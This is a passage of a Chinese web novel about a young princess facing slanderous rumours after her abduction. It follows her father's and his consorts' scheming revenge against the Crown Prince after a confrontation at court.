顾若雪笑了笑,说道:“也不是不行,你那店铺我去看过,厢房都很不错,到时候买一些小物件放在厢房里,再摘点新鲜的花朵,弄得雅致一些,以后若是权贵上门,可以去厢房。至于老百姓,可以坐大堂,泾渭分明,互不打扰。” “这样也行!”李庶妃言罢朝把福宝招了过来,摸出一把钥匙扔给她:“去我的小库房选一些雅致点的小摆件给她们选,对了,还有那些没用的字画。” “别!”司徒澈一听赶紧道:“你拿出来的字画不是孤品就是绝品,还是留着吧!” 李庶妃闻言娇嗔的看了他一眼:“王爷想要呀?” “不是…”司徒澈真没想要,他只是觉得可惜。 可李庶妃已经不给他说话的机会了,指使福宝:“把那些破字画全都送王爷书房去。” 司徒澈眼尾一抽:“倒也不必,本王…” “没事的没事的。”李庶妃脸颊红红,眼神拉丝儿:“妾身也欣赏不来那些东西,纯粹是觉得贵,才买来的。王爷若不要,妾身不是送人就是当柴火烧了。” “!!” 烧、烧了? 司徒澈默默把拒绝的话咽了回去,变成:“那本王筛选一下,选些不是很珍贵的放你们店铺,真正的孤品和绝品,本王就先帮你收着。” 总比这女人真拿去烧了好吧? 顾若雪淡淡的瞥了她一眼,给司徒澈夹了一块肉,温柔一笑:“妾身没记错的话,爷喜欢谷雨先生的诗集,正好,前些天妾身回家,找祖父要了一本,一会儿就给爷送去。” 司徒澈闻言眼睛一亮:“谷雨先生的?” “对呀!”顾若雪放下筷子,开口吟道:“卧看窗塌离人雪,只见素白不见卿,妾身也喜欢谷雨大师对旧友的情深义重。” 司徒澈笑道:“若雪与本王喜好一样,实在难得。” 秦芷嫣神色无奈! 其他几个女人:“…” 磨牙! 捏筷子! 笑得咬牙切齿! 臭女人,一有机会就见缝插针。 显着你了? 李庶妃懒懒的扶了扶发髻,招呼福宝:“去告诉我爹,本庶妃要谷雨先生的诗集,不管多少银子,有多少要多少。” 司徒澈:“…” 张庶妃拖着板凳坐到司徒澈身边:“王爷,妾身那把削铁如泥的匕首送你。” 司徒澈:“…” 朱侧妃急眼了,赶紧咽下嘴里的肉:“爷,我虽然没有谷雨先生的诗集,但我爹好像有,明天我就回去找我爹要。” 司徒澈头疼扶额:“你们这是作甚?” “很明显了,庶母们为了博美人一笑,挥金如土哇!”唐蕊捂着小嘴嗤嗤的笑:“爹爹,你就是那个美人哦!” 一桌子女人羞涩的垂下头去。 司徒澈瞪了她一眼,赶紧止住这场闹剧:“好了,本王不需要,你们也别去麻烦自己父亲了。蕊蕊已经回来了,你们的店铺也装了那么久,还是商量一下开张吉日吧!” 第140章 感受感受一袋米到底要扛几楼 他一开口,一桌子女人们才反应过来偏题了。 一番商量后,五间铺子,开张吉日都定在了五天后! … 一家人其乐融融,却不知道,外面,有一则流言越演越烈。 翌日一早,天还没亮,唐蕊就被容嬷嬷从被窝里抱了起来,给她洗脸,梳头,穿衣。 唐蕊全程闭着眼,半梦半醒,任由她折腾。 回来了,又要开始当牛做马起早贪黑的去国学监了。 她失踪的这些日子,妙珠这个伴读也一直闲着,光拿工资不干活的日子…讲真,她很不习惯。 这不,本来给唐蕊梳妆的事轮不到她的,可她还是自觉的跑来帮忙了。 容嬷嬷怕她做不好,让她去厨房等着,把唐蕊的中午要用的膳食拿来。 妙珠赶紧照做,还抽空跑出府去隔壁街买了几个唐蕊最爱吃的肉包子。 郡主被拐走遭了大罪了,回来在府中休息这几天,还没吃过这家包子呢! 等她回来,唐蕊依旧睡着,已经打扮好了。 眼看大格要抱唐蕊去马车,妙珠自告奋勇的顶了他的活,给出的理由是:“郡主已经六岁了,大格到底是男子,以后这种事还是我来吧!” 大格:“…” 二格看着妙珠的背影,手肘碰了碰自家老哥:“哥,妙珠姑娘啥意思?难道我俩以后想继续留在郡主身边伺候,还得去宫里挨一刀不成?” 大格瞪了他一眼:“你乐意?” 二格还当真想了想,最后说道:“也…不是不行吧!反正咱们兄弟两个,你负责传宗接代就行了。” “滚!”大格气得一脚踹了过去。 说归说,闹归闹,不过这还真是个问题。 唐蕊毕竟是女子,一天天的总要长大。 他们俩到底是男子。 哪天王爷会不会也这么想?调他俩去别的地方伺候? 大格心里揣了事儿,一直心不在焉的。 终于,到了国学监。 司徒澈叫醒唐蕊,好好叮嘱了她一番,才抱她下车。 妙珠提着食盒和唐蕊的书盒,唐蕊依旧睡眼朦胧,打着呵欠进了国学监,司徒澈说了啥她都没听清楚。 看她进去了,司徒澈这才上车:“入宫!” 唐蕊上学,他也该去上朝了。 最近皇帝有意把兵部交给他管,可太子一派的人一直在阻挠。 今天八成也要为这事吵! 然而,他都进了马车了,等了好一会儿,马车都没动。 司徒澈掀开车帘皱眉看着大格:“你在想什么?本王说入宫!” “啊?哦!”大格回过神来,一甩鞭子驱动马车,嘴里还道:“王爷,小的刚刚走神了,还请恕罪!” “没事!”或许是太无聊的,司徒澈随口问了一句:“你一向机灵,倒是很少见你如此。” “…”都说到这了,要不要求求王爷? 他是真不想离开翠微阁。 大格咬咬牙,心一横,眼一闭:“王爷,奴才…其实是在想,郡主到底是女子,男女授受不亲,您…会不会哪天让奴才去别的地方伺候?” “这倒是个问题!”事关唐蕊,不能不上心。 大格见他这样,一颗心都提了起来,赶紧又道:“王爷,奴才想一直待在翠微阁…” “想屁吃呢?”司徒澈没好气的瞥了他一眼:“你都说了,男女授受不亲。” 大格想哭了:“王爷,要不…小的去宫里净个身?” “…”至于嘛! 司徒澈无奈道:“本王知道你们兄弟二人对昭华忠心耿耿。这样吧,以后你们就负责昭华出行的问题,做她的马前卒。” 大格闻言神色一喜:“多谢王爷!” 司徒澈冷哼道:“别谢太早,没事别去昭华的翠微阁,她要是出府,你们兄弟俩必须随行!还有,有时间多跟清风或明月学学武把式,再发生上次那种事…” “多谢王爷,王爷您放心,那种事再也不会发生了!”大格信誓旦旦! 唐蕊失踪这段时间,他也很自责,根本就不用司徒澈说,每天一有时间,就拉着二格去找府里的侍卫们请教。 如果再遇到歹人,除非他们兄弟二人都死了,不然谁都别想带走唐蕊! “记住你说的话!”司徒澈扔下这话,放下了车帘。 他也考虑过换人,可大格和二格到底是唐蕊用惯了的人,还是王府里的家生子。 最重要的是,两人这三个多月来把府里的侍卫都找了个遍,又是送酒又是帮忙的,就是为了多学一点武把式,这一切他都是看在眼里的。 所以,他也不介意再给这兄弟俩一次机会! … 国学监! 唐蕊走路都是飘的,弯腰驼背,活脱脱一个幽灵。 真的没睡饱啊! 抬头看天,蒙蒙亮! 一问妙珠,卯时三刻… 卯时…三刻… 她六岁了,在现代四舍五入该念幼儿园吧? 真该让现代幼儿园那些小屁孩来体验一下古代的上学时间,感受感受一袋米到底要扛几楼。 “昭华!”司徒安的声音从身后传来。 唐蕊一个女鬼式回眸,发现不仅是司徒安,还有顾楠聿,有气无力的挥了挥爪:“嗨…早上坏…” 司徒安跑到她面前:“呸呸呸!坏什么坏?早上好!你好我好大家好!” “…”好个锤子,我想睡觉! 唐蕊打了个呵欠,流出生理性眼泪。 顾楠聿默默掏出一个油纸包递给她。 油香伴随着肉香,唐蕊朦胧的小眼睛一下瞪大了:“肉饼?” “嗯!”顾楠聿唇角微翘,把饼塞到她手里:“这家肉饼不错,特意给你带的,现在还困吗?” “暂时不困啦,谢谢哦!”唐蕊笑眯眯的接过肉饼咬了一口,满足的眯起眼眸,就像一只餍足的小猫儿似的。 “有那么好吃嘛!”司徒安脸上不屑,嘴里却道:“顾楠聿你真不够意思,都不给我带一个!” 顾楠聿冷漠脸:“宫里不是有御厨?我相信他们的手艺。” 司徒安:“…”有异性没人性。 “你们都在啊!”楚璟川此时也跑了过来,关切的看着唐蕊:“昭华,你还好吗?” 唐蕊点头:“我很好哦,你看我这身材就知道咯。” 楚璟川仔细的打量着她,眉头微蹙:“那…传言是怎么回事?” 第141章 我不杀伯仁,伯仁却因我而死 唐蕊闻言一愣:“传言?” 司徒安也一脸茫然:“什么传言?” “你们都还不知道?”楚璟川左右看了看,这才压低声音道:“昭华,你失踪的那段时间,璃王爷不是剿了个人拐子村庄,救出了很多被糟蹋了的小姑娘吗?所以…外面都传言,你也…” 也什么,不言而喻。 顾楠聿冷下脸来:“胡说八道,昭华被拐走后,我一直跟她在一起,她是否清白,我还能不知道?” 司徒安也道:“父皇不都给昭华验明正身了吗?为什么还会出现这样的流言秽语?楚璟川,你听谁说的?” 楚璟川:“我听我院里的扫地丫头说的啊!据她说,她是听姨娘院里的丫头说的,总之我家都传遍了,更别说民间了。” “太过分了!”司徒安气呼呼道:“你家的奴才怎么乱嚼舌根?作为主子,你就不惩治他们?” 楚璟川好冤枉:“我惩治了啊,可这…没什么用吧?来国学监的路上,我听到一些百姓也在议论这件事!” “不行!”司徒安拉着唐蕊:“走,昭华,咱们进宫去找父皇做主!” “诶诶诶,你别急哦!”唐蕊这个当事人一点都不慌,她早料到会有这样的后果了。 针对璃王府的人不是没有,怎么会放过这样的机会? 但是他们真的搞错了对象。 唐蕊耸耸肩:“我一点都不在乎,他们爱说就说呗!” 司徒安才不信呢:“女子名节多么重要,你怎么会不在乎?昭华,你别难过,父皇一定会惩罚那些造谣的人。” “我是真不在乎!”唐蕊一脸认真的反问:“他们说几句,影响我吃饭睡觉吗?影响我做郡主吗?除了恶心我一下,又不能给我带来任何伤害。“ 司徒安不理解:“可你的名节没了啊!” “没了就没了呗,顾楠聿又不会嫌弃我!”唐蕊说罢看向顾楠聿,嘿嘿一笑:“是吧?” 顾楠聿点了点头,语气坚定得像是在宣誓一般:“永远都不会嫌弃!” 本是开玩笑缓和气氛的唐蕊:“…” 不嫌弃就不嫌弃呗,还加个永远,笑得还这么温柔。 这是终于变态了? “咳…走吧走吧,周学士快来啦!”尴尬,赶紧开溜吧! 一行人到了‘教室’,才发现楚璟川说的一点都不夸张。 不光他府里有这样的传言,在座每个孩子府里都有这样的传言。 这不,唐蕊一行人刚进来,喧闹的‘教室’瞬间安静,每个小孩都在对她行注目礼。 司徒薇还阴阳怪气说了一句:“有些人啊,就是恬不知耻,发生了这样的事,不待在府里自省就算了,还敢到处跑。” “…”好好好,没了司徒嫱,你踏马又冒出来了是吧? 唐蕊可不是个吃亏的主儿,当即怼了回去:“对哦对哦,有些人啊,杀鸡儆猴都不怕,看来得轮到她,她才知道厉害!” 她没发现,这话一出,不光是司徒薇,一直沉默的司徒谨也猛的握紧了手。 司徒薇闻言脸色一变:“唐蕊,你什么意思?” 唐蕊呵呵一笑,意味深长:“你觉得什么意思就是什么意思呗!” “你…” “司徒薇!” 司徒谨沉声开口:“再闹就滚回去!” 司徒薇一肚子气,瞬间把冒头对准了他:“你凭什么管我?” 司徒谨侧眸看着她,突然咧嘴一笑,眼底却并无半分笑意,黝黑一片,冰寒无边。 被这样的眼神盯着,司徒薇顿时感觉像是被一条毒蛇盯上了,不自觉打了个寒颤,嗫嚅着唇小声道:“不闹就不闹!” 说罢,别过视线,不敢与司徒谨对视。 自从司徒嫱死了过后,司徒谨也变得神经兮兮的。 到底是父王唯一的儿子,还是少惹为妙。 见她老实了,司徒谨才收回视线,看向唐蕊,礼貌的朝她点了点头。 然后,就没下文了。 唐蕊看懂了,叹息一声回到自己的位置上。 “昭华,司徒谨怎么怪怪的?”司徒安刚一坐下,就小声问道。 顾楠聿淡淡开口:“还能为什么,他跟司徒嫱关系一直很好,司徒嫱死了,他怨上昭华了呗!” 司徒安小声惊呼:“不是,司徒嫱那是自作自受,关昭华什么事?” 顾楠聿眼底划过一丝讥讽之色:“我不杀伯仁,伯仁却因我而死!你可以想象一下,把司徒嫱的下场与遭遇换成你的母妃,再扪心自问,你会不会恨昭华?” 司徒安闻言噎住了! 那可是他的亲娘,要是也像司徒嫱这样,陷害昭华反被赐死,那他…也会恨的吧! 至于皇帝,他可不敢恨! 司徒安喃喃道:“那咋办?” 唐蕊不动声色摸了摸手腕上的赤赤,危险的眯起眼眸:“兵来将挡水来土掩呗,我才不怕哦!” 她从不后悔救司徒谨,因为那个时候的司徒谨不是很可恶。 人都是会变的,若是司徒谨哪天变得面目全非,她可以救他,也可以送他走。 这时,周学士走进了教室,他清了清嗓子,说道:“都坐好,开始上课。” 孩子们纷纷收回视线,至于心里怎么看唐蕊,那就不知道了。 … 唐蕊在国学监过得很不爽,司徒澈也在金銮殿上发了好大的火,差点当众砍死兵部侍郎杨硫。 兵部尚书年纪大了,告老还乡。 所以皇帝最近有意想让司徒澈接手兵部。 就这件事,遭到了太子一党的极力阻扰。 特别是太子党里的兵部侍郎杨硫。 作为兵部侍郎,兵部尚书退位,本该他上位的,可皇帝突然搞这一出,他怎么甘心? 这不,金銮殿上,杨硫严词激烈,列出了璃王种种不足之处。 身体还未完全恢复,难堪大任啊! 多年没接触朝政,资历不足云云啊! 前段时间为了寻昭华郡主,私自调走黑鳞骑等等啊! 最后甚至暗示皇帝,司徒澈太得黑鳞骑信服,开始挑拨离间了。 没办法,别的他也攻击不了。 毕竟司徒澈可是妥妥的直男,行事光明磊落,还是大夏战神,功绩也摆在那里。 不光很多官员信服,连军队都很信服。 以上种种,司徒澈也没跟他计较,毕竟皇帝对他足够信任。 说白了,他不怕! 直到… 第142章 御前动手 杨硫眼瞅着皇帝面不改色,一点都没有生气的迹象,心里急了,眼珠子一转,开始攻击起唐蕊来:“皇上,璃王教女无方,昭华郡主小小年纪,行事孟浪,失踪三月,不清不楚。璃王连女儿都管教不好,怎能管好兵部?望皇上三思!” 司徒澈闻言脸色一沉,猛的抬眸看着他,眼神犀利:“杨大人,你这话什么意思?” 杨硫有太子撑腰,自信满满,不屑的扫了他一眼,冷哼一声:“璃王还不知道吗?昭华郡主之事早已传遍大街小巷,成为百姓们茶余饭后的笑料了。五六岁的女娃娃,落在那样的人手里,遭遇了什么可想而知,也难怪百姓们议论纷纷。” 司徒澈沉声开口:“百姓愚昧,杨大人也愚昧?父皇早已为昭华验明正身,杨大人却还跟着愚昧百姓人云亦云,这是不把父皇放在眼里吗?” “皇上!”杨硫一听这话,直挺挺的跪下了:“臣对皇上忠心耿耿,容不得璃王污蔑。臣只是觉得,璃王教不好女儿,就算昭华郡主身不由己,但她也…既然回来,就该长伴青灯古佛,为大夏,为皇上祈福,可她却当做什么事都没发生一样,把皇家颜面放在地上踩。六岁孩童不懂事,难道大人也不懂吗?这分明是璃王,不顾皇室颜面!” 皇帝老脸一黑,再次强调:“璃王说了,昭华之事,朕已验证,杨大人这是不信朕?” “老臣冤枉,老臣相信陛下,但人言可畏啊皇上!”杨硫一副忠心耿耿的模样,不知底细的,还以为他是保皇党呢! 太子此时也接过话来:“父皇,三人成虎,昭华之事传得沸沸扬扬,就算她依旧清白,但也难堵悠悠众口,儿臣以为,应该削去昭华郡主之位,七皇弟管教不善,让皇室蒙羞,也应一并处罚。” “太子此言差矣!”辰王当然是站在唐蕊这边了:“昭华依旧清白,那些无辜的孩童说到底也是因昭华获救,昭华明明是有功者,既然有功,哪有惩治的道理。” 睿王绝对维护心目中的仙女:“父皇,辰王言之有理,昭华郡主明明无错,为何要罚?” 襄王斜睨了杨硫一眼,也拱手道:“父皇,无风不起浪,传言之人居心叵测,一看就是冲着七皇弟去的,还连累无辜的昭华,应当严查。” 太子听到襄王这句话,眯了眯眼眸,没再言语,只悄悄的给杨硫使了个眼色。 “你们…你们…”接收到他眼神的杨硫颤抖的指着几个王爷,随即又恨恨的放下了手,一脸悲愤的看向皇帝:“皇上,老臣都是为了维护皇室颜面啊,如果皇上不废了昭华郡主,以正纲纪,老臣…愿以死明志!” “想死多容易啊!”司徒澈微不可见的笑了笑,眼神一冷,突然往前三步拔出御前侍卫的剑,反手朝杨硫掷了过去。 这动作一气呵成,不带半点犹豫! 那剑如一道寒光,杨硫吓得脸色惨白,双腿一软,直接瘫倒在地,紧闭双眼,只等着锋利的剑刃穿透自己的身体。 然而,就在剑即将触碰到他的瞬间,辰王反应敏捷,往前几步回旋一踹。 铛! 司徒澈掷出的剑改变方向,钉在了杨硫身旁的盘龙柱上,剑身还在微微颤动。 杨硫吓得面无人色,瘫坐在地,还尿了裤子,骚臭气味瞬间在金銮殿里弥漫开来。 不少大臣都皱起了眉头。 “璃王,你好大的胆子!”太子震怒! 杨硫哆哆嗦嗦地抬起头,看向司徒澈,眼神中满是恐惧:“璃王,你…你竟敢在御前动手?” “…”动了,你要咋地? 司徒澈淡淡的瞥了他俩一眼,随即转身朝皇帝跪下:“父皇,昭华乃儿臣失而复得的明珠,儿臣容不得她遭人污蔑,望父皇恕罪。” 辰王也道:“父皇,七皇弟只是吓吓杨大人而已,谁让杨大人连一个六岁的孩童都不放过,太过了一些。” “岂止一些啊!”睿王赶紧道:“父皇,若是有人说儿臣的孩子,儿臣也会生气的,还望父皇饶恕七皇弟一片爱女之心!” “不就是自己想做兵部尚书嘛?我们又不是不知道,大人的事大人自己解决,把一个六岁的娃娃扯进来做什么?能不能要点脸!”一直没开口的晋王小声嘀咕,只是这声音…殿中的人都听得到。 杨硫气得差点吐血,巴巴的看着皇帝,希望他给自己做主。 “…”你算什么东西,也敢欺负朕的儿子,朕的孙女? 皇帝看够了闹剧,淡淡开口:“璃王,起来吧!” “多谢父皇!”司徒澈站起身来,还轻轻拍了拍衣摆,并送了太子一记王之蔑视。 这是…又要算了? 太子咬了咬牙,出列朝皇帝拱手,尽量让自己语气平静下来:“父皇,七皇弟御前动手,当众行凶,您也要放过他吗?” “什么御前动手当众行凶?不是杨大人自己想死,老七才帮他一把吗?”皇帝一句反问,把太子干沉默了。 生怕他不服似的,皇帝还问起大臣们来:“爱卿们说说,是不是杨大人自己说要死,璃王才拔剑的啊?” 大臣们:“…”知道您护犊子,可您这也太护犊子了吧? 看看太子,脸都绿了。 不过,皇帝都这么问了,大臣们只能实话实说:“是!” 皇帝点点头,又看向太子:“太子,听清楚了?” “是…”太子不甘的应了一声,声音就像是从牙缝里挤出来的一样。 见他老实了,皇帝又看向杨硫,眼神像老父亲一般慈祥:“杨爱卿,你不是要死吗?” 杨硫结结巴巴,脸都白了:“皇上,臣…臣…臣…” 皇帝脸色一肃:“看来杨爱卿只是做做样子,哄骗朕!” “老臣不敢!”杨硫冷汗淋漓,赶紧磕头。 皇帝也不说话,只是看着他,又看了看盘龙柱,以眼神传达着:那你赶紧死啊,来,开始你的表演! 杨硫都快哭了,求助般的看向太子。 太子现在都快气得爆炸了,哪里还顾得上他。 第143章 亲亲老爹和顾庶母帮她报仇 大殿里陷入一阵窒息的沉默,杨硫趴着都不敢动,内心一阵天人交战。 就在这时,皇帝突然开口:“既然不想死,下次就别说这种话,退下吧!” “多谢皇上,多谢皇上…”杨硫战战兢兢起身,可能是跪得太久了,起来的时候腿一软差点又摔下去,还好他最后坚强的站住了。 皇帝看着满朝文武大臣,语带威严:“昭华依旧是完璧之身,以后朕不想再听到有人议论。兵部尚书告老还乡,璃王,你就暂代兵部尚书一职!” “皇上圣明,吾皇万岁万岁万万岁!”文武百官高呼出声。 太子脸色阴沉都要滴出水来了。 挣扎了几天,兵部最终还是落到了璃王手里。 父皇,你真的好偏心! 不光太子心碎,太子党的官员心里也很焦灼。 自从璃王腿好以后,皇帝越发偏袒他了。 只要是个明眼人都能看出来,太子这位置坐不长! 怎么办啊? 璃王上位,他们这些太子党的,还有命在吗? 唉…押错了宝啊! 也不知道现在投靠司徒澈还来不来得及! 很多太子党的官员想到这,心思开始活络起来。 下了朝! 司徒霄拂袖离开,司徒澈大步追了上去。 出了殿门,司徒澈也追上了司徒霄,按住了他的肩。 司徒霄眼底划过一丝不耐,刚转过头来,司徒澈便一拳头挥了过去。 司徒霄被打倒在地,捂着脸气得浑身发抖,大声吼道:“司徒澈,你敢对孤动手?” 司徒澈弯下腰,扯住他的衣襟,眼底的杀意赤裸裸的:“别以为我不知道,昭华的流言是你搞的鬼。这是我第一次警告你,也是最后一次,有什么,冲我来,再拿昭华做文章…” 说到这,司徒澈危险的眯起眼眸,凑到他耳边:“别忘了,你也有儿女!” 扔下这话,司徒谨拍了拍他的肩,大步离去! 司徒霄站起身来,凶狠的盯着他的背影! 文武百官大气都不敢出。 几个王爷可不怕他,路过他身边时,瞄了他一眼,就追着司徒澈去了。 哪个王爷不是人精啊? 谁又看不出来这是司徒霄的手笔? 有时候真不怪他们看不上司徒霄,瞧瞧这干的都是些什么破事儿? 俗话说得好,祸不及妻儿! 斗归斗,君子之争,没人会说什么。 可为什么要把无辜的孩子卷进来? 司徒霄,真是越来越没下限了。 … 司徒澈心里憋着一团火,哪怕几个王爷后来追上他,好好安抚了一顿也没啥用! 唐蕊本就是他的逆鳞,见过唐娆之后,他对那个女人动了心。 子凭母贵,唐蕊在他心里的地位也呈直线猛升。 他误会了唐娆很多年,本就觉得愧疚。 唐娆生唐蕊的时候,他也没在身边。 唐蕊五岁才找来,五年缺失的父爱,他想弥补都来不及,现在连一份安稳都给不了,还要让唐蕊面对流言蜚语。 连自己的妻女都护不住,算什么爷们? 以后再见唐娆,他又有什么脸信誓旦旦说一定会照顾好唐蕊? 司徒澈一回府就把自己关在书房,琢磨着要怎么让太子好看。 算了? 不可能! 但他又不能像太子那么不讲武德,拿司徒薇或司徒谨开刀! 顾若雪现在可是司徒澈头号铁粉,就连司徒澈穿什么色儿的亵裤她都要了解一下。 这不,听说司徒澈一回来就把自己关在书房,她立刻带着霜蓉找来了。 清风却拦住了她,一脸为难:“顾侧妃,王爷心情不好,不见人。” 顾若雪温声细语:“我知道,我只是想问问,王爷遇到了什么烦心事。” 清风转头看了看紧闭的房门,这才小声道:“还不是关于最近的流言,外面都传郡主…今日在朝堂太子还拿这事儿攻击王爷,王爷发了好大的脾气,差点一剑砍了杨大人。” 顾若雪眉头微蹙:“这事…是太子做的吧?” 清风:“谁说不是呢,可王爷没证据,又不能跟太子一样无耻,正想着要怎么搞太子呢!” “我知道了,别告诉王爷我来过!”顾若雪心里有了数,带着霜蓉离开了。 离了小院儿,霜蓉才小声询问:“主子,咱们不管王爷吗?” 顾若雪神色淡淡:“王爷是个有主意的,不需要我多费唇舌!” 霜蓉似懂非懂:“那我们来这一趟做什么?” “没什么,我想为王爷分忧罢了!”顾若雪说到这,凉凉一笑:“说起来,我与太子的账也该算一算了。既然他这么喜欢拿女子家清白说事,那我就送他一份大礼!” 看到她这么笑,霜蓉冷不丁打了个寒颤! 只有她才知道,自己这位人淡如菊的主子其实心有多黑,胆子有多大。 如果顾若雪较真,王府的女人没一个是她对手。 太子惹到她,算太子倒霉! “霜蓉,附耳过来!”顾若雪很快就想到了主意。 霜蓉凑过去,待顾若雪说完后,瞪大了眼睛! 这… 夺笋呐你! 顾若雪直起身子:“去吧!” “是…”霜蓉擦了擦脑门的汗,一溜烟跑了。 同一时间,司徒澈也打开了房门,朝清风勾了勾手指。 清风赶紧凑了过来。 司徒澈:“找几靠得住的人,去聚贤阁闹事。” 清风闻言一愣:“聚贤阁是太子的?” “不然呢?”司徒澈反问一句,又道:“找个死囚,使劲闹。还有…去埋一块千霄凌云的石碑,要旧一点的,再找个面生的,偶然间挖出来。” 清风:“!!” 清风:“…” 夺笋呐你! 皇帝的名字就叫司徒云啊! 千霄凌云…暗指啥?不言而喻! 一搞就搞这么大,这…太刺激了吧? “还不快去?”司徒澈眼睛一瞪! 清风赶紧溜了溜了。 惹不起! 主子要么不使坏,一使坏要人老命了。 为太子默哀! … 唐蕊对这一切丝毫不知,更不知道她亲亲老爹和顾庶母已经在帮她报仇了。 在国学监待了一天,除了身边的小伙伴们,其他人看到她都是指指点点议论纷纷。 特别是睿王家的两个嫡女,看唐蕊的眼神就像是看什么脏东西一样,一副我们不屑与你为伍,生怕被传染的比样。 第144章 爹爹最好,我最爱爹爹 唐蕊全程不在意,该吃吃该喝喝。 反正这些小娃娃只是背后说说,又不敢跑她面前说,对她造不成任何伤害。 心灵强大,无所畏惧。 司徒安和顾楠聿却气坏了,一整天下来,寸步不离唐蕊身边,俨然两个小骑士。 只要谁凑的近点,都会遭到他们的死亡凝视。 最后,楚璟川也默默的凑了过来。 唐蕊觉得他们有点太夸张了,她又不是泥捏的。 然而,一天学业结束,回到家后,唐蕊就看到司徒澈已经等在他的翠微阁了。 唐蕊一脸纳闷:“爹爹,你怎么来啦?” “来看看你,顺便带你去你母妃那用膳!”司徒澈弯腰把她抱了起来朝秦芷嫣院子走去,嘴上还不动声色的问道:“今天在国学监还好吗?” 唐蕊:“挺好的哦!中午吃了很多,可我现在在长身体,饿得也很快,这会儿肚肚又瘪了。” “好,一会儿多吃点!”司徒澈言罢,又道:“爹爹看你不够精神,想来还没恢复过来,不如就待在府里多休息几天,如何?” “!!”不用早起?这很好! 唐蕊猛点头:“好哦好哦,爹爹最好,我最爱爹爹。” 司徒澈抿唇一笑,心里却默默松了口气。 只要唐蕊不出们,就不会受影响! 至于太子… 哼! 且等着吧! 外面的流言沸沸扬扬,越传越烈。 不光司徒澈生气,府里几个女人听到流言内容,也气不打一处来。 张庶妃出门去祭拜老爹,回来的路上听到一个书生在议论这事,气得她当即跳下马车,逮着那个书生狠揍了一顿。 李庶妃照常出门逛街,进了常去的胭脂铺,正结账的时候,也听到两个贵女在叽叽歪歪。 气得她顺手举起金锭子砸了过去。 秦芷嫣是听到府里的奴才在议论,一问才得知流言之事,当即把那说闲话的奴才发卖了,还把府里的下人全都叫到一起,好好敲打了一番,最后还气得动了胎气,在床上躺了好一会儿才缓过神来。 司徒澈抱着唐蕊来她院里的时候,刚走进去就发现几个女人也在这,都在跟秦芷嫣抱怨。 朱侧妃牙齿咬得咔咔响:“太子真踏马不是个东西,他就没有儿女吗?如果别人拿他孩子做文章,他会怎么想?这种玩意还想做皇帝,做他的春秋大梦去吧!” 张庶妃冷着脸:“我也气不过,今天回来的时候把书生揍得满地找牙,这些人还念圣贤书,一个个跟长舌妇似的听风就是雨,那么有本事,怎么不见他上阵杀敌?” 李庶妃使劲摇着扇子:“我也是,那俩女子嘴臭得很,我还以为是什么富贵人家的孩子呢,连当朝郡主都敢蛐蛐,结果一问才知,不过是九品典籍之女,笑死…这种身份也敢议论蕊蕊,活腻歪了吧?” “我也气得胸口痛,今儿个还动了胎气,躺了好一会儿。这些人啊,连一个孩子都不放过,着实可恶!”秦芷嫣捂着胸口,一想起白日里发卖的那奴才说的话,就恨不得把那狗奴才大卸八块! “动了胎气没叫府医?”司徒澈抱着唐蕊踏入房中,开口问道。 “王爷…”几个女人这才发现他,齐齐起身行礼。 “不必多礼,怎么都来了?”司徒澈往主位一座,看了看这些女人。 刚刚还不停吐槽的几个女人看到唐蕊,一个个都没开口。 秦芷嫣笑道:“妹妹们没事做,就来我这串串门了。蕊蕊,来母妃抱抱。” “母妃,你怀着小弟弟哦,就不抱啦!”唐蕊很是懂事,从司徒澈身上滑了下来:“你们也不用瞒着我,我知道流言的事。” 呃这… 几个女人互视一眼,面色有些尴尬。 秦芷嫣生怕她多想了,赶紧安抚:“蕊蕊,不用管那些人,他们就是嫉妒你。” 唐蕊:“我知道,我只是想说,我真的一点都不生气,相反的,我还很高兴,觉得很幸福哦!” 几个女人一头雾水:“幸福?” 唐蕊嘿嘿一笑,小声调奶奶糯糯的:“爹爹也好,母妃和庶母们也罢,都在用自己的方式保护我,你们都这么爱我,我真的真的很幸福哦!” 几个女人心情复杂,神色动容,更心疼唐蕊了。 这么懂事,又这么乖的女儿,谁不爱呢? “蕊蕊放心,爹爹会给你出气的。”司徒澈揉了揉唐瑞的脑瓜子,这次不让太子掉一层皮他就不姓司徒:“对了…” 司徒澈后知后觉反应过来:“若雪呢?” 秦芷嫣愣了愣:“她…今天一整天都没见人呢,听婢子们说,刚刚还招了一群女子入府,也不知道在忙什么。” “罢了,传膳吧,一会儿本王去看看她!” 司徒澈一开口,奴才们端着各种美食鱼跃而入。 不过一会儿,唐蕊的专用玉碗里堆得高高的,都是司徒澈和几个女人给她夹的菜。 最爱吃的朱侧妃第一次没顾着自己吃,反倒在一旁给唐蕊挑鱼刺。 吃过饭后,几个女人又留下唐蕊逗弄了她好一会儿。 司徒澈则是踩着夜色,来到顾若雪的院子。 刚一进来,就看到院中站着一排陌生的女子。 每个女子二八芳华,身姿纤纤,只是每一张脸都…有点相似,还很熟悉。 而顾若雪则是坐在门口,仔细打量着这些女子。 司徒澈走了进去:“你这是作甚?” “王爷?”顾若雪也没想到司徒澈会来,赶紧起身,神色有些局促。 能不局促嘛! 做坏事被亲亲夫君发现了! 怎么办? 夫君会不会觉得她狠毒啊? 司徒澈眉梢一扬,倒不是怀疑顾若雪又跟太子勾搭上了,他只是纯纯好奇而已,因为顾若雪很少露出这种心虚的表情:“做坏事呢?” “妾身没有…”顾若雪说完才发现他似笑非笑的表情,噎了一下,耳垂微红,美目流转,不经意间却发现这些女子,正痴痴的看着司徒澈,心情顿时不好了,故作淡定对霜蓉道:“再多找些,这些不够,送她们出去吧!” 第145章 本王与她不会有结果 “是!”霜蓉额头滑落黑线,朝司徒澈福了福身子,带着一溜串的女子走了。 一群女子临走时,那眼神都还在司徒澈的身上,含羞带怯,还有几个胆大的甚至在对司徒澈抛媚眼。 司徒澈:“…” 顾若雪默默捏紧了手里的帕子:一群狐狸精,果然都是上不得台面的东西! 等她们都走了,司徒澈才道:“这些女子是做什么的?看起来不像是正经人家的女子!” “…”对,就是不正经! 司徒澈乃是真君子,才看不上这些妖娆贱货呢! 顾若雪微微一笑,心情也好了些:“王爷,她们要么是烟花之地的女子,要么是妾身找来的扬州瘦马!” 司徒澈愣住了:“你找这些女子入府作甚?” “太子中伤蕊蕊,妾身知道王爷气闷,也有自己的主意,但妾身还是想跟太子算算账!” 顾若雪说罢笑容意味深长起来:“王爷难道没有发现,她们,跟有些人长得很像?” “是有点,刚刚我也没怎么注意看!” 钢铁直男有时候说出来的话,比蜜还甜! 顾若雪心情彻底多云转晴了:“有的呢,像陈姬,有的呢,像孙庶妃,还有的,像吴姬…” 